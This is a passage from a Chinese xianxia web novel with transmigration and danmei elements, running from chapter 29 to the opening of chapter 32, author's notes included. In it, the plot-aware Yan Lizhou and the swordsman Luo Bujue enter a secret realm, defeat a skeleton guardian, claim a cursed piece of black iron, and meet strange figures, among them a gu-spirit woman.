那个长老老脸挂不住,狠狠剜了一眼僵成人偶的林肆纯,厉声呵斥:“还不快向燕前辈道歉认错!” 林肆纯听话地立马跪在地上:“燕前辈,弟子有眼无珠,弟子该死!还请前辈放过弟子,不与弟子一般计较!” 沈齐打断他:“冲撞贵客,污蔑前辈,从即日起,革除内门弟子身份,降为外门,罚俸一年,去思过崖面壁三月,抄写门规三百遍!” 林肆纯瘫软在地,面如死灰,嘴里还在喃喃着什么。 燕黎舟离的最近,隐约能听见一直在重复“贱|人”之类的话。 他顿了一下,转头看向走过来的洛不觉。后者拍了拍他身上,从衣服角落里翻出来一片叶子。 “回去吧。” “嗯。” 洛不觉给燕黎舟倒了杯茶,这是燕黎舟鲜少的几次以人形态进入他的房间。 糖饼“啾啾”着蹲在他肩膀,毛茸茸地蹭着他脖子。 燕黎舟伸手,嫌弃地捏起糖饼,送到洛不觉面前:“洛不觉,快,接住你家小金丝雀。” “啾啾。” 洛不觉伸手,糖饼那么大一坨直直摔进他掌心里。 燕黎舟顺手将洛不觉刚泡好的茶往嘴里送,手指还在茶杯上探了一下确认不热。 “啧。”他抿了一口,脸皱起来:“好苦。” 坐他对面的洛不觉把糖饼放在桌面上,攒着的种子手动往糖饼嘴巴里面塞,一颗接着一颗。闻言,趁着糖饼吞咽的功夫,指尖轻轻敲了敲桌面。 “清新降火。” 说着,他把一旁的桂花糕推到他面前。 另一边,思过崖。 暴风如刀,刮在脸上生疼,林肆纯跪在光秃秃的山石上,面前放着的书桌上面摊着厚厚一沓。 “第三百二十七条:尊师重道,不可妄议尊长……” “第四百零二条:戒骄戒躁,谨言慎行……” “第五百条:同门和睦,不可嫉贤妒能……” 桌子上抄写门规的纸张被山风吹得凌乱,墨迹被几滴突如其来的泪水晕开,模糊一片,他慌忙去擦。 林肆纯咬牙,都怪谢灯那个贱|人,都是他的错,先天剑体! “贱|人,都是贱|人!” 负责看守崖口的一名外门老弟子远远瞥见这幅模样,摇了摇头。 “到了这里还不知悔改,哎,难喽,难喽。” 声音不大,顺着风隐隐约约飘到林肆纯耳中。他猛地抬头,眼神红的吓人,那老弟子立刻噤声。 …… “谢灯!”燕黎舟看见谢灯,几步迈到他跟前。 “燕前辈!”谢灯又朝着燕黎舟行了一个规规矩矩的弟子礼:“多谢燕前辈帮我解围。” 燕黎舟没觉得有什么,最后也不是他解决的:“宋湖呢?” 谢灯眼睫垂了垂:“回家了。” “天赋不够,被刷下去了。” “哦……”燕黎舟抿了下唇,当时只顾着看谢灯了,没注意他竟然是被刷了。 和主角混的好也会被刷下去吗? 天道只会确保谢灯的剧情不变的吧。 所以…… “啊!是你啊!”旁边忽然窜过来一个人,穿得比燕黎舟还要花哨。 陆星华手里拿着把木剑,另一只手搂上燕黎舟的腰,两个人狠狠贴了一下。 燕黎舟瞪大眼睛:“你怎么在这?” “我为什么不能在这?”陆星华反问,搂着燕黎舟不撒手,拿着木剑的手抬了一下示意谢灯。 “他都在这,我为什么不能在?” “我可是第一名,他这个第二名都在,我没理由不在啊。” 燕黎舟咽了口唾沫,伸手把陆星华推开,后者伸手揉了揉被燕黎舟用力推开的地方,反以为荣。 “手劲挺大的嘛!” 燕黎舟:“……” 陆星华还想说什么,好像看到了什么,“啧”了一声,燕黎舟跟着看过去,却见沈齐站在远处的凉亭,居高临下地看着他们这边。 看见燕黎舟勾了下嘴角的弧度点了点头。 陆星华扭头朝着燕黎舟眨了眨眼睛:“回头再来找你玩。” 说罢火急火燎地走了。 燕黎舟盯着陆星华的背影皱眉,这人怎么会在这儿,但说剧情里面没有,就是陆家也不可能容忍自己两个儿子都来天上白云京。 旁边谢灯适时淡淡开口:“燕前辈找我还有什么事吗?” “啊?”燕黎舟回神:“没事,没事……你回去吧。” 他摇了摇头,转头准备回洛不觉的住所。 谢灯在原地看了好久,没说话,总觉得燕黎舟和平日不一样。 “谢灯?” 忽的身后有人喊,谢灯回头,汲子石一脸困倦,旁边的洛不觉生人勿近。 谢灯垂眼:“师尊,师叔。” 洛不觉点了下头就离开,把时间留给师徒两个人。 汲子石侧目,余光淡淡瞥了眼自己的乖徒儿:“那个林肆纯,你从未与为师说过。” 谢灯盯着自己师尊的鞋面:“师尊不必为了闲人劳烦,更不必记住名字。” “……” 汲子石不知道该说些什么,半响挠了挠头,干巴巴地叹了口气 “今晚吃什么?” 洛不觉刚打开自己的房门,就发现某个不速之客趴在自己常坐的檀桌上,满脸愁容,拿着盒子里的问神左左右右照自己。 见洛不觉回来,他问出自己思考了一路的问题。 “陆星华为什么在这儿?” 洛不觉意外他会突然问起陆星华这个人,几个长老其实对陆乐水的身份也都心知肚明,直到陆乐水和陆星华是亲兄弟。 只是陆星华留下来单纯是一个意外。 “他在天上白云京呆了两天,被这里吸引了,想要留下来修炼。” “具体我不知道,掌门师兄是这样说的。” 燕黎舟皱眉,吸引什么?什么吸引他了?是没有味道的饭菜还是起的比鸡早的早读? 洛不觉坐在他对面,倒了杯茶,然后往那燕黎舟已经不在了的粉色花盆里浇满。 “……”燕黎舟淡淡瞥他一眼,撇了撇嘴不说话。 “怎么了?” 洛不觉又倒了两杯,一杯放在燕黎舟面前。 燕黎舟盯着镜子里面自己帅气的眉眼,叹了口气。 “怎么偏偏就来到了这么个鬼地方呢?” 洛不觉抬手拿着茶杯的手顿了一下:“过几日有个秘境,你要不要去?” “秘境?”燕黎舟直了直身子,手里还拿着问神镜,凑到洛不觉面前,镜面上照映出两个人的模样。 “秘境……” 燕黎舟思考着,突然脑子里闪过一个剧情,“桦城罗秘境!” 洛不觉将茶杯放下,垂眸盯着自己手中茶杯里的茶水:“你知道?” “知道知道!”燕黎舟心想,那可是男主跃进的一个大剧情点,也是在这里男主前期受伤,遇到了自己的两个后宫,争风吃醋的修罗场,他能不知道吗! 但他嘴上随便搪塞:“听说的,江湖传言,江湖传言。” 洛不觉没追问,头也不抬道:“桦城罗秘境出现时日没多久,知道的人不多。” 燕黎舟坐的板板正正的,探头过去,想要和洛不觉对上目光。 “你要去吗?” “可以带着我吗?” “……会不会拖你后腿?” “嗯。” 燕黎舟闻言脸上表情消失,整个人萎了下去,就见洛不觉抬头。 “可以,不会。” 燕黎舟眼睛缓慢眨了两下,才反应过来,这人是在回答他的三个问题—— 作者有话说:今日动了动了! +0.5[撒花]存稿-1 么么么么么么么[亲亲] 再次请求灵感之神![奶茶][奶茶][奶茶] 另外,嘿嘿,天上白云京开始招生了,谁想报名!(请各位家长放心! 早读,有的!名师,有的!优秀毕业生,有的!名声,有的!考试,有的!健康饮食,有的!校规,更是有超多的!!! 早恋是没有的,水课是没有的!夜不归宿,那更是……燕黎舟,陆乐水,你俩大晚上干什么去! 咳咳……心动不如行动,点击主页作者收藏,一起来快乐学习吧![眼镜] 小pai招生组火热报名中[彩虹屁]) 第30章 燕黎舟眼睛一亮, 方才的愁容一扫而空,他放下问神镜,双手捧起洛不觉推过来点茶杯, 一口气饮尽。 “那我们什么时候出发?需要准备什么吗?这秘境里危不危险啊?” 他说完才想起来他一个看过男主全部剧情的人, 应该是最知道这秘境里危不危险的人。 洛不觉将旁边的糕点又推到他面前:“三日后, 不用准备, 不知道。” 燕黎舟被洛不觉这精简的回答噎了一下, 但也没在意,满心满眼是对秘境的兴奋。 终于到主角的剧情点了, 之前只是出了点意外, 这次他全程跟着主角路线走,不会再有差错的。 他安安分分的,怎么也不会波及到他, 绝对死不了。 接下来的三天,燕黎舟忙得脚不沾地。 他拿着洛不觉给的钱和灵石换了一堆符箓和疗伤丹药,然后不知又从哪弄来的一把短剑,整天别在腰间, 一副要上战场的模样。 洛不觉看着它忙前忙后, 既不阻止也不给建议, 两人安静地心照不宣。 出发前夜,燕黎舟紧张得睡不着,心里很乱,半夜溜到洛不觉房前。 他变成人后和洛不觉就分开了, 看着面前紧闭的房门,犹豫着要不要敲门。 门却自己开了。 “睡不着?”洛不觉站在门内,似乎早就料到他会来。 “嗯,”燕黎舟老实承认。 洛不觉侧身进屋, 房间里一如既往的简洁。 屋内,秋水剑被他的主人老老实实放在桌子上。 燕黎舟盯着剑鞘,上面的图案简简单单,只有一缕祥云被银色细纹雕刻着,剑鞘上深深浅浅刻着“秋水”二字。 洛不觉拿起剑,忽然将剑递给他,“拿着。” 燕黎舟一愣,接过剑的瞬间只觉得手心一沉,剑比他想象的要重很多,剑鞘触手生凉。 燕黎舟手指抚摸剑身,尝试拔剑却发现自己根本打不开剑鞘。 “它有封印。”洛不觉解释道,“会伤着你。” 燕黎舟撇撇嘴,把剑还回去。 他看着秋水剑,忽的想到什么:“洛不觉,我带你去找乌铁吧!” 他见洛不觉不说话,以为是不同意:“你放心,乌铁再来锻造一遍你的剑最合适不过。” “那块乌铁绝对能够满足你的需求,大小也够,剩下边角料还能给你雕个胖娃娃。” 燕黎舟翻着自己脑海中的原著记忆,像是展现珍宝般一连说了好几条乌铁的好处。 乌铁,又名混沌奇金,大能之人陨落后散开的灵力久久不散,周围才可能有几率孕育出一块乌铁,稀奇玩意。 原书中男主在这秘境中得到了块乌铁,孝敬给了自己的师父“洛不觉”。 但现在洛不觉都不是他师父了,肯定那块乌铁也落不到洛不觉手上。 燕黎舟看着那秋水剑,主动道。 那原书里也是要给洛不觉的,他这样也是物归原主,没问题的。 “好。” 洛不觉不知道为什么燕黎舟会找得到那种奇缺的玩意儿,但看着面前这人亮晶晶的眼睛,很自然地就答应下来。 哪怕没有乌铁,到时候搬一块,埋起来…… 他们聊到很晚很晚,大多是燕黎舟在那里说,洛不觉偶尔应一声,虽不多言,却也没有打断。 次日清晨,桦城罗秘境入口处已经聚集了不少修士,沈齐看见洛不觉,有些惊讶。 他惯常以为洛不觉那日答应的话只是应付他的,没想到真的来了。 看到他身边的燕黎舟,抿唇点头打了个招呼。 秘境尚未开启,空间波动的扭曲隐约能看见其中截然不同的山林景观。 燕黎舟一个上帝视角的读者,他并未像大多数修士一样等在正门,他拉着洛不觉绕至其他方向。 正等待着自己师弟过来,然后说几句鼓励话的沈齐:“?” 燕黎舟带着洛不觉来到一处僻静地方,这里的灵力波动比方才弱多了,更显得有些不太稳定。 “江湖传言,这里有一处薄弱地点,可以更早一点进去!” 燕黎舟凑到洛不觉身边,把之前搪塞人的幌子又提溜出来,小声道。 洛不觉也只是淡淡扫了一眼这个地方,点了点头,并未多言,他对如何进入桦城罗秘境并不感兴趣。 他的目光更多落在燕黎舟身上,带着一丝难以察觉的探究。 燕黎舟被看得有些心虚,赶忙道:“我们先进去吧!” 说着,他扯了扯洛不觉的袖子,对着他示意,灵力攻击到面前几步的位置。 周围忽的卷起一阵风,两人面前出现一圈淡淡的光。 光晕晃动剧烈,将燕黎舟的身影吞没,洛不觉紧随其后。 一阵轻微的拉扯感后,两人落在一片寂静的树林里,树木高大,头顶的叶子遮住了阳光,周围灵气浓郁得似要雾化。 “这边。” 燕黎舟确认了一下方向,毫不犹豫指路,他对这里非常熟悉,像是进了自己的家。 洛不觉目光落在燕黎舟方才因为空间跳跃而恐惧抓住他的手,随后又看向燕黎舟指着的方向,没说话。 两人巧妙地避开了一些低阶妖怪巢。 形成比想象中顺利的多,偶尔遇见一两只不开眼的妖兽,不等洛不觉出手,燕黎舟拿着他的那柄短剑抢着出手解决。 手法干脆利落,总能率先找到妖兽脆弱的地方,带了点未卜先知的味道。 洛不觉看着解决完一只妖兽,拿着块手帕擦拭自己短剑的燕黎舟。 后者抿着唇,呼吸看上去有些急促,但几息之间又恢复平静。 他转头,将短剑重新缠在自己腰上,笑着看向洛不觉。 “继续走吧。” “嗯。” 越往深处走,光线越暗,树木也越发的高大怪异。 洛不觉忽的伸手拉住快他一步的燕黎舟胳膊。 “继续走。” 洛不觉传声道。 燕黎舟不明所以,但照着他的话脚步没停。 “怎么了?” “有人跟踪我们。” 洛不觉和燕黎舟七扭八绕来到一处山洞,洞口被藤蔓掩住,十分隐蔽。 “在这里等我。”洛不觉低声道,“我马上回来。” “你要丢下我!”燕黎舟顿时慌了。 “不会丢下你。”洛不觉保证道,“处理一下尾巴,别出声。” 燕黎舟依旧抓着洛不觉的袖子,似乎是不想让他离开,但也只好点头。 “快点回来。” 看着洛不觉的身影消失在洞口藤蔓后,山洞里突然安静下来,只能听见自己紧张的心脏跳动声。 燕黎舟安慰自己:“没事的,洛不觉那么厉害,肯定马上就回来了。” “没事的,这一切只是一场游戏,主角完成了大结局之后,他就会回去了,书上都是这么写的。” “没事的,没事的……” 时间一分一秒过去,洛不觉始终没有回来,燕黎舟越来越不安,不断地看向洞口的方向。 他咬了咬牙,洛不觉不会是迷路了吧。 突然,洞外传来脚步声,燕黎舟心里一喜,站起身站起身就要去迎。 “哎,奇怪,人,呢?” 一个穿着破破烂烂的人挠了挠头,他自言自语道。 “哎呀,怎么能跟丢了呢,明明,有个人就是在这里,消失不见的……” 燕黎舟捂住自己嘴巴,屏主呼吸,心脏狂跳,他死死盯着面前,生怕自己发出一点声音被洞口那人发现。 下一秒,他瞪大了眼睛,一只细长惨白的手从一对藤蔓中探出来,手指慢慢挑开密集的藤蔓。 藤蔓后布满红丝的眼睛笑着盯着洞里的燕黎舟,声音像是好久不说话,又沙又哑,还有些迟钝。 “你,好!” 他想要再上前一步,面前却忽的隔空出现一层薄薄的淡蓝色火焰,护在燕黎舟周围。 不远处的洛不觉刚解决完面前的两个人,他看着那人腰上的奇怪令牌,皱眉。 现任仙家里没见过这样的牌子。 半响忽然抬头,看向燕黎舟的方向,他的阵法被触发了。 还有人?燕黎舟! 他朝着燕黎舟的方向快速直线飞去,索性他有个方向,不然按照这里的地势他肯定会迷路。 穿着破破烂烂的人看着面前的火焰,眯了眯眼睛,隔着火焰看了燕黎舟。 燕黎舟在看见火焰出现后,整个人安了安心,这才打量起这人,看着这破烂的衣服,脑海里和一个人物对上。 在洛不觉赶回来后,他看着洛不觉手里的配件,还没怎么就开始跪下求饶。 “仙长,饶命啊!” 洛不觉:“。” 燕黎舟:“……” 他哭的一把鼻涕一把泪:“仙长,我没有,恶意的,这儿是我的家,我想回家,而已啊。” 他边说边指向洞内的一个角落里。 燕黎舟和洛不觉转头看过去,果然看见一堆软草铺成的“床”。 “仙长,我真的没,有恶意啊!”哭嚎声还没停止,嘶哑的嗓子发出“昂昂昂”的叫声,一句话被他说的磕磕绊绊的。 燕黎舟走到洛不觉身边,伸手戳了戳洛不觉的腰侧。 去了那么久还不回来,以为你死在外面了呢。 他嘴上道:“他确实没伤害我,没事的。” 面前这人眼睛滴溜溜地转,听着燕黎舟的话反应了两三秒,才重重点头:“是,的,我没,伤害他!” 燕黎舟伸手拽着洛不觉的衣袖,心里才踏实了好多,袖子里被他捏皱了的俘虏也没派上用场。 “走吧,我们先找乌铁。” 穿得破破烂烂的人听着他们的对话,没有继续哭嚎,看洛不觉目光扫过来又抬手掩耳盗铃似的拿自己破烂的袖子擦了擦眼角的泪水。 燕黎舟拉着洛不觉要走,走之前,他问这人:“你叫什么名字?” 这人拍了拍自己胸膛,嘿嘿一声:“饶经义!” “我叫饶经义!” 燕黎舟点点头。 “再见,饶经义。” 离开山洞一段距离后,燕黎舟问洛不觉:“你刚刚出去怎么这么久,很难缠吗?” 洛不觉想到自己储物戒里的那奇怪图案的令牌,“没有。” 燕黎舟点点头,盯着前方,仔细寻找记忆里有特殊标记的地方。 “后面的人跟上来了吗?” “嗯。”—— 作者有话说:大家看阅兵了吗[加油] 错误了,忘记了我是在一天的开头更的,应该上一章庆祝的。 今天都第二天了[爆哭] 没事的(自己拍拍自己脑袋),早早就爬起来候着,朋友还互相打电话提醒,哈哈哈哈哈! 看得我好激动!尤其是女兵出来的一瞬间,眼泪哇一下就湿了[爱心眼] 么么,今天也是[饭饭][加一] 30-40 第31章 两人来到一面灌木丛前, 燕黎舟瞅着周围的漂亮奇异蝴蝶,知道自己是找对了地方。 他手指着前方:“前面!” 两人又往前走了几步,面前忽的出现一个祭坛似的东西, 燕黎舟却奇怪地往后退了一步。 他转头看向自己身边的洛不觉, 嘿嘿一笑:“接下来交给你了。” 燕黎舟说完躲在离他最近的灌木丛后, 给了洛不觉一个肯定的眼神。 后者飞身踏上祭坛中央, 面前只有一具白骨化的尸体, 面朝天。 洛不觉拱手:“得罪。” 说完,一剑就将祭坛劈成了两半。 那白骨躺着的旁边地面上炸开无数裂隙。似是忍不住, 整具白骨“咯吱咯吱”地站起来。 它双手一张, 虚空抓出来一把斧子,不详的气息环绕在周围。 洛不觉眼神一冷,转身和白骨打在一起。 一斧子劈下来, 原本就不成样了的祭坛彻底塌成废墟。 燕黎舟躲在灌木丛后面看得啧啧称奇,洛不觉不愧是被人称得一声“剑尊”,那招式漂亮又迅速,给他十年八百年也不一定能学会。 剑气带着寒意, 在一次间隙中撞上白骨, “咔嚓”一声白骨碎了个干净。 洛不觉站在两半了的祭坛上, 甩了甩剑尖沾上的污秽,转身又看向燕黎舟。 “好了。” 燕黎舟闻言从草丛后面钻出来,一路小跑来到白骨身边。 手指戳了戳见彻底没动静了,小声嘀咕。 “阿弥陀佛阿弥陀佛……” “超度了你不能来找我了哦, 不是我杀的你,更不是我把你变成这个模样。” 他又压了压声音,小小声道。 “你可以找那边的白色衣服的帅哥,但他比较厉害, 也最好不要……” 旁边听了全程的洛不觉:“……” 燕黎舟将旁边的狗尾巴草摘下来当做香插在白骨面前,然后翻了翻腰上的香囊,把里面的香料倒出来,拿起旁边随手薅的叶子蒯了一点白骨粉放进去。 “好了。” 燕黎舟一副大功告成的表情,转头将手里装着骨灰的香囊扔给他。 “我们走吧,拿他的乌铁。”话说得理直气壮。 祭坛上面有机关,很隐蔽,但对于燕黎舟一个挂来说根本小菜一碟。 两人顺利进入下面的暗道,黑漆漆的,仿佛周围所有的光都被抹干净了。 洛不觉伸手,掌心淡蓝色的火焰浮现,周围才微微亮了点。 燕黎舟带着人拐了两三个弯之后,成功回到原地。 “……” “啧。”他烦躁地挠了挠头,书中只是写男主担心他那小桃花,跟着一起进来,意外才发现了乌铁。 他现在要从这些分分叉叉里面找到正确的路,他又没有那逆天的主角bug,这怎么找。 “洛不觉,你要不要选一条?”他转头问身旁这人。 洛不觉思考了一下,随手指了一条,燕黎舟拉着他果断朝着相反的方向走去。 这人的路感很玄乎,其他什么都可以依靠,就认路不行。 接下来也如此反复,竟真让两人顺利找到了那条正确的路,看着拐角上的特殊印记,他看着洛不觉点点头。 眼神里明晃晃写着“好样的,但你没救了”。 洛不觉:“……” 再往前走,两人成功走出那弯弯绕绕的迷宫,面前豁然空了起来。 那么大一个地下祭坛上面,只有一座棺材安静地放在正中央。 通体漆黑,像是这主人刚刚死去没几天,棺材都还没来得及被腐蚀一样。 燕黎舟不知道从哪摸出来几根狗尾巴草,就要上前,旁边洛不觉一下抓住他的胳膊。 “没事啦。” 他笑着看着洛不觉的眼睛,摇了摇头,后者眉头轻蹙,放开了他的胳膊,但已经紧跟在燕黎舟身后。 燕黎舟拿着狗尾巴草插在棺材上,鞠了一躬。 转头对着洛不觉,伸手手指指着棺材地下。 他笑眯眯道:“挖吧。” 洛不觉动作没有迟疑,秋水剑又被他拿来当铲子,剑用起来跟切豆腐一样轻松。 很快剑尖触碰到一个异物,发出“咚”的一声响。 洛不觉皱眉,秋水剑快速从土里抽出来,一股灼热的气息顺着秋水剑插出来的缝隙爬出来。 瞬间一层冰蔓延到地面,棺材也因此被黏在地上。 燕黎舟摸上自己腰上的短剑,在土面周围凿了凿,却没有冰继续蔓延出来。 他眨了眨眼睛。 那些冰其实也是洛不觉的剑气,乌铁沾染到了洛不觉的剑,会瞬间沾上他的气息。 原著里乌铁率先接触的男主先天剑体,所以可以转交给同为先天剑体的洛不觉。 他这小破铁剑什么功能都没有,乌铁自然没有什么反应。 最终,乌铁的整个样貌暴露在两人眼皮底下。 外面一层薄薄的冰层,包裹着里面淡蓝色的火焰,透过冰和火,最中间能看见是一块黑色的物质。 如燕黎舟所言,拿来铸造什么都绰绰有余。 燕黎舟扯了扯洛不觉:“就是这里,乌铁……” “哇哇哇哇!” 身后突然传来一声呼喊,一个人影刷的冲过来,伸手要拍洛不觉的肩膀。 后者往后侧身一步,那只手扑了个空,踉跄着朝着乌铁的地方扑过去。 洛不觉手里剑鞘就要拦住那人的腰侧,燕黎舟连忙道:“不用拦。” 闻言他手上动作一改,所以剑鞘不仅没拦,还把人推了一把。 那人手刚碰上乌铁,脸上一喜,下一秒指尖就开始变成石头。 他脸上表情一僵,快速退后几步,甩着自己的手,沙哑难听的嗓子哀嚎。 “好烫,好冰!” 燕黎舟这才慢悠悠:“上面有诅咒。” 他站在洛不觉身边,看着面前痛的上跳下窜的人,正是之前他们遇到的那个饶经义。 也是他一直在跟着他们。 “你以为死后能孕育出这么大一块乌铁的人物会死在这里吗?” “身上肯定带了点什么毒啊,诅咒啊之类的,死后,一并到了乌铁上面。” 燕黎舟注意到洛不觉看过来的目光,解释了一下。 他淡淡地抬眸,一副看好戏的表情。 “现在你要成为第二尊石像了,公羊胜。” “你知道我?” 公羊胜震惊,他此刻蓬头垢面,浑身脏兮兮的,身上衣服破烂不堪,这人居然认得他。 “还是说,你喜欢你的新名字,饶经义?” 燕黎舟轻哼。 “在秘境里生活了那么多年,你这衣服换过吗?”他问出自己当时看书时最想问的一个问题。 公羊胜已经听不进去燕黎舟的问题了,整个人十分激动。 “你认识我!我还以为外面已经把我给忘了呢!” 两秒后反应过来燕黎舟的问题:“我有两身衣服,来回穿,你别看着破,但干净的!” 说着他把自己衣服掀起来一点,给燕黎舟看里面,示意干干净净的。 燕黎舟:“所以就两身衣服你穿了一百多年?” “一百多年了吗,哇塞,原来已经这么久了吗……唔,唔!” 他震惊地看向洛不觉。 洛不觉嫌他烦,封住了他的哑穴,转头看向燕黎舟。 “江湖传言。” 燕黎舟尴尬哈哈一声,解释道。 “你知道的,他们什么都传,有真有假……” “洛不觉。” 燕黎舟转移话题,道:“搜他身。能在这鬼地方活蹦乱跳一百多年,身上没点压箱底的,鬼都不信。” 他下颌朝地上只剩半截能动的公羊胜扬了扬。 转头笑眯眯地又对公羊胜解释:“相见即是缘,把你在秘境里得到的宝物分点给朋友当见面礼,不过分吧~” 洛不觉没有任何犹豫,他走到公羊胜身边,无视对方那几乎要瞪出眼眶的哀求目光,动作干脆利落地在他未被石化的上半身摸索起来。 破烂的衣袍里,确实藏着些“硬货”。 最终翻出来几个用叶子和兽皮仔细包裹的小包。 洛不觉将它们一一打开摊在地上。 其中一个包裹里是几颗鸽子蛋大小的石头,温凉的触感,不知道这人身上揣着这几块石头干嘛用的。 另一个包裹里是几片颜色黑红色的叶子。 燕黎舟厚着脸皮全部收下,有礼貌道:“看你这么大方,这石化的麻烦,我们帮你解决。” 他把洛不觉装起来的那个香囊,里面骨灰洒了一些在公羊胜石化的地方。 痕迹果然没有再扩散,但也没有减退。 “这已经石化了的部分,有点麻烦……” “唔,唔唔唔!” 洛不觉解开哑穴,公羊胜瞬间松了一口气,但低头看着自己石化的身体,哭嚎。 “你抢我东西,还不给我解决问题,天上白云京竟然如此强盗……唔!” 洛不觉嫌烦又给封上了。 “急什么,我说解决自然是要解决。” 燕黎舟转眼看向一旁的洛不觉,眸光落在他手上:“剩下的骨灰撒在乌铁上,你上,你不是有火吗,炼吧。” 说完,他伸手拉住公羊胜,头也不回喊:“我们离远点,帮你看着,你快点。” 不远处,燕黎舟悄悄几步退到公羊胜旁边,小声道对着这人嘱咐。 “你刚看见了吧,乌铁外面的那层白冰?” 公羊胜疑惑地看他一眼,顺着他的话又点点头。 “等里面这人把乌铁拿出来,你把那剩下的白冰碾碎了,敷一半在石化的地方,这症状就能消退。” 说着他一甩袍子:“我先走了。你知道他是谁,劝你歪主意趁早收一收。” 公羊胜:“唔?唔唔唔?唔唔唔唔唔唔唔唔?” 他想问燕黎舟:“走,你去哪?你们不是一伙的吗?” “不是。”燕黎舟虽然没听懂,但看着他的神色也能瞧出来。 看着脚下冰有些蔓延过来,连忙后退了几步,抬头对上洛不觉的目光。 “我一会儿就回来。”他口型对洛不觉道。 “前辈?” 忽的身后传来一声,燕黎舟转头,谢灯正站在身后入口处,他旁边还跟着一个穿着亮蓝色的古灵精怪的小姑娘。 从谢灯身后探出来一点点头,满头蓝色的发带,笑起来脸颊边还有两个甜甜的酒窝。 燕黎舟看着谢灯也有些惊讶,但随即又很快反应过来,他们走的就是他们的路线,遇到也是正常的。 谢灯身后的小姑娘睁着一双圆溜溜的眼睛,毫不怯生地打量着面前突然出现的几个人。 洛不觉手心托着那块乌铁,周身弥漫着的白雾把他的身形整个模糊掉。 他抬眼看向入口的方向,并未出声。 “前辈怎么出现在这里?” 谢灯几步从阴影里走出来,身后小姑娘学着他的样子,像模像样地行了个礼,身上还背着一个侧挎包。 “这是阿阮。” 谢灯主动介绍道:“我在秘境里遇见的朋友。” 小姑娘甜甜一笑,从自己的小挎包里掏啊掏,拿出来几颗黑色药丸塞给燕黎舟和公羊胜。 看着远处的洛不觉,她顿了一下,目光转向燕黎舟,又给他塞了一颗。 然后重重点了下自己脑袋。 燕黎舟看着这个小姑娘,心想这就是男主的这个后宫之一吧,长得这么甜,还是个特别厉害的小姑娘。 他盯着手掌心的黑色药丸,脸上没有一点不好意思,把洛不觉那份也揣进自己兜里。 这可是能救命的玩意儿啊。 小姑娘看着公羊胜手臂上的石化痕迹,轻轻“咦”了一声,凑上去观察,又白又软的指尖戳着已经他变成石头的部分。 公羊胜伸了伸,把手凑到阿阮面前,让她看得更清楚些,然后还有些不好意思地拿剩下的那只手挠了挠后脑勺。 两个人热情研究起是怎么回事,在小姑娘皱着眉嘀咕“这个怎么解决呢”的话中,公羊胜把燕黎舟刚给他说的解决办法换了个高深的措辞说出来。 “哇!”阿阮转头看了眼洛不觉的方向。 “你知道的这么多呢。” 她眼睛笑起来弯弯的,是个很容易就让人喜欢上的小姑娘。 燕黎舟纠结了一下,转头问谢灯:“汲……你师尊没和你一起来吗?” 谢灯摇头:“师尊不喜欢这样的事情。” 说着他抬眸看了眼快要炼化结束的洛不觉。 燕黎舟:“你洛师叔在这里,有你看着我也安心,我先出去一趟,你们在这里陪他。” 不等谢灯回话,燕黎舟扭头就走,直直踏进那恼人的迷宫里面。 “阿灯。” 阿阮凑到谢灯旁边,小声地在他耳边问:“那人身上一点灵气波动都没有,叫他前辈,他是什么很厉害的身份吗?” 谢灯面无表情,看着白雾中洛师叔的身影,旁边公羊胜还陶醉在自我魅力里面。 “不关你的事,别乱打听。” 阿阮“切”了一声,撇了撇嘴,满脸倔强着写着“我也不是很想知道”。 燕黎舟记性一贯很好,刚刚才走了一遍,此刻就按照原路返回,洛不觉不在,他摸着黑朝着前面走。 只是刚转了几个弯儿,身后猛的传来几声极其轻微的银片碰撞的声响,清脆,但又带着一股说不出来的诡异。 尤其是在四周全黑,伸手看不见五指的情况下。 “嚓……嚓……嚓嚓嚓……” 燕黎舟扶着墙的身子猛的僵住,头皮发麻,往前快速走了几步,心里害怕。 “阿哥。” 声音极轻,像是就在耳边悄悄的话,燕黎舟的脚一下子就被钉在原地,怎么也迈不动脚。 他咽了口唾沫,心脏扑通扑通地快速跳着,燕黎舟感觉自己脸有些热。 燕黎舟缓慢转头,只见原来看不见东西的暗道有了点光亮,虽然依旧暗着。 像是那种蒙在被子里透出来的光亮。 身后,暗道深处,一个纤细的身影缓缓浮现,裙摆上的银饰在微弱的光线下“嚓嚓”生响,其中还混杂着几声微弱的铃铛声。 那人抬起脸,露出一张苍白却异常美丽的面孔,嘴角勾着一抹似笑非笑的弧度。 “阿哥。” 她的声音轻柔得像是在呼唤自己久别重逢的恩爱夫君,但却让燕黎舟心里一紧。 “这么急着,是要去哪儿啊?”—— 作者有话说:这章字数有点多,太啰嗦了,希望大家不要看烦[害羞] 我继续今天的一章了,依旧是有点卡文的一天[害羞] 只有一点点…… 昨天不卡!!!很顺利就出生了,可能是剧情线少的原因,很容易就出来了[抱抱] (现在不太对劲,两个人干什么都说悄悄话,不告诉我[闭嘴] [饭饭][加一]想写一篇纯感情戏的文哈哈哈哈哈哈哈,一点剧情不讲的) 么么么,爱你们! 第32章 她穿着色彩繁复却暗沉的苗疆衣裙, 裙摆缀满细小的银饰和小小的圆形铃铛,方才那些声响正是来源于此。 “嚓嚓……嚓……” 她的身影越逼越近,声音依旧婉转动听。 “阿哥, 我们好久不见了, 好久好久了……”她捂着自己心口, 微微蹙眉, 委屈地埋怨自己的夫君。 “你为什么在抖?”她注意到燕黎舟颤抖的手, 一眨眼的功夫就出现在燕黎舟面前,伸手握住。 冰凉的手指柔软, 像是蛇一样缠上去。 燕黎舟身子瞬间僵直, 他喉咙缓缓滚动了一下,后背冒出一层细密的汗。 “我以为是谁,原来是……蛊娘子。”他干笑一声, 尽量让自己的声音听起来自然。 “真是……人生何处不相逢。” 蛊娘子,这也是男主的后宫之一,是个妖怪。 因为自己主人对自己情人的痴心等待,日日拿着两人的定情物, 执念沾染在上面, 因此成妖。 她会将自己醒来后见到的第一个人当做自己的“阿哥”, 但只要你否定她,她会认为你变了心,那毒蛇一样冰冷的手指能瞬间穿透人的胸膛,把心取出来。 直到这人死去才再次沉睡。 原著剧情男主在这里遇到了这两朵桃花, 修罗场展开,还吸引了好一波讨论。 但此刻燕黎舟咬了咬牙,这不该是男主的桃花吗,怎么找上他来了。 完了完了, 抢男主桃花,这不会被天道弄死吧。 他脚下细微地往外挪动,身体保持着面对这蛊娘子,但又碍于自己手在她手里,一时动弹不得。 像是被毒蛇盯上的青蛙。 “相逢?”蛊娘子轻轻歪头,银饰也随之一起哗啦轻响,叮铃铃的,听得人心里发颤。 “看阿哥刚刚走得那样的急,可不像是想要与阿妹相逢的样子啊。” 她又往燕黎舟的方向迈了一步,裙摆摇曳,铃铛声不断。 “怎会……” 